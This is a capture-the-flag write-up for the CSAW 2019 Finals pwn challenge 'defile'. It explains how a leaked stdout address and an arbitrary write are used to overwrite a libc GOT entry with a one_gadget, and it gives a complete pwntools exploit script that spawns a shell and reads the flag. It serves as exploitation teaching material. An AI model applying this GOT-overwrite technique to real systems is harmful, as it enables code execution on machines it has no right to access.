CSAW CTF Finals 2019 - defile

Challenge details

EventChallengeCategoryPoints
CSAW CTF Final 2019defilePWN100

Description

wild handlock main btw

nc pwn.chal.csaw.io 1004

Attachments

defile libc.so.6

The binary is a dynamically linked ELF 64-bit executable, it has all protections enabled.

$ file defile
defile: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=5631f2588790fa344f6f360d39819963f4f66d7f, not stripped
$ checksec --file defile
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

When running this binary, it will give you the address of stdout in libc, and ask for How much do you want to write?, Where do you want to write? and What do you want to write?, then print Bye!.

screenshot0

So it looks like an intended vulnerability, we have an arbitrary write.

After analyzing the binary, I found that the binary have two functions: main and get_number, the get_number function simply read an unsigned long from stdin and return it, while the main function ask for the input size then check if the size <= 256 otherwise it will print That's just too much, then it ask for the address where to write and finally read the input by calling read function with the parameters read(0, buf, nbytes), where buf is the address we provided and nbytes the size of input.

Since the binary is compiled with full RELRO and PIE enabled we can’t overwrite anything in the binary (e.g. .got, .dtors, …) (as far as I know), so we need to find something else to overwrite, I noticed that there a call to puts function after calling to read function, So we need find some hooks or function pointers that puts function use.

To do that I just set a break point at main+228 where main call puts then step into puts functions.

I noticed that puts will call __tunable_get_val@plt at puts+13, make sure that you are debugging the target libc, not the local one.

gef> set environment LD_PRELOAD ./libc.so.6
gef> b *main+228        b *main+228
Breakpoint 1 at 0xa19
gef> r
Starting program: /opt/ctf/defile
Here's stdout:
0x7fcd74c16760
How much do you want to write?
0
Where do you want to write?
0
What do you want to write?
...
...
gef> disas puts
Dump of assembler code for function puts:
   0x00007fcd748aa9c0 <+0>:	push   r13
   0x00007fcd748aa9c2 <+2>:	push   r12
   0x00007fcd748aa9c4 <+4>:	mov    r12,rdi
   0x00007fcd748aa9c7 <+7>:	push   rbp
   0x00007fcd748aa9c8 <+8>:	push   rbx
   0x00007fcd748aa9c9 <+9>:	sub    rsp,0x8
   0x00007fcd748aa9cd <+13>:	call   0x7fcd7484b100 <__tunable_get_val@plt+16>

Since the libc is not compiled with Full RELRO, we can overwrite __tunable_get_val .got entry

$ checksec --file libc.so.6
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

In order to do that we need to calculate to offset between stdout and __tunable_get_val .got entry, so step into __tunable_get_val@plt+16 and get the .got entry address

...
...
gef> x/3i 0x7fcd7484b100
=> 0x7fcd7484b100 <__tunable_get_val@plt+16>:	jmp    QWORD PTR [rip+0x3c9fa2]        # 0x7fcd74c150a8
   0x7fcd7484b106 <__tunable_get_val@plt+22>:	push   0x20
   0x7fcd7484b10b <__tunable_get_val@plt+27>:	jmp    0x7fcd7484afd0
...
...
gef> p 0x7fcd74c16760 - 0x7fcd74c150a8   
$1 = 0x16b8

Here the stdout address is 0x7fcd74c16760, the .got entry address is: 0x7fcd74c150a8 and the offset is 0x16b8

Now we can control RIP register, but we have only one shot, we can’t do any ROP chaining, so we need to find one_gadget RCE in that libc (see one_gadget).

$ one_gadget libc.so.6 
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

Exploit

  1. get the stdout address
  2. calculate the address of __tunable_get_val got entry
  3. calculate the libc base address
  4. calculate the one_gadget address
  5. overwrite the got entry with one_gadget address.

Exploit code

import subprocess

from pwn import *

HOST = "pwn.chal.csaw.io"
PORT = 1004


def get_one_gadget(filename):
    return list(map(
        int,
        subprocess.check_output(['one_gadget', '--raw', filename]).split(b' ')
    ))


def exploit():
    offset = 0x16b8

    libc = ELF("./libc.so.6")
    stdout_libc = libc.sym["_IO_2_1_stdout_"]
    log.info("stdout_libc: 0x%08x" % stdout_libc)

    # one gadget RCE offsets
    one_gadgets = get_one_gadget('./libc.so.6')
    log.info("one gadget RCE offsets: %s" % str(one_gadgets))

    target = remote(HOST, PORT)

    target.recvuntil("Here's stdout:\n")
    buf = target.recvline().strip()
    stdout = int(buf, 16)

    log.info("stdout: 0x%08x" % stdout)

    libc_base = stdout - stdout_libc
    log.info("libc_base: 0x%08x" % libc_base)

    got_entry = stdout - offset
    one_gadget_libc = libc_base + one_gadgets[2]

    log.info("got_entry: 0x%08x" % got_entry)
    log.info("one_gadget: 0x%08x" % one_gadget_libc)

    target.recvuntil("do you want to write?\n")
    target.sendline('8')
    target.recvuntil("Where do you want to write?\n")
    target.send(str(got_entry))
    target.recvuntil("What do you want to write?\n")
    target.sendline(p64(one_gadget_libc))
    target.sendline("id;cat flag.txt;exit")

    buf = target.recvall()
    if b"uid" in buf:
        log.success(buf.decode())
    else:
        log.failure(buf.decode())


if __name__ == "__main__":
    exploit()

Running the exploit

screenshot1

Flag

flag{me_you_in_room_1337_tonight}

comments powered by Disqus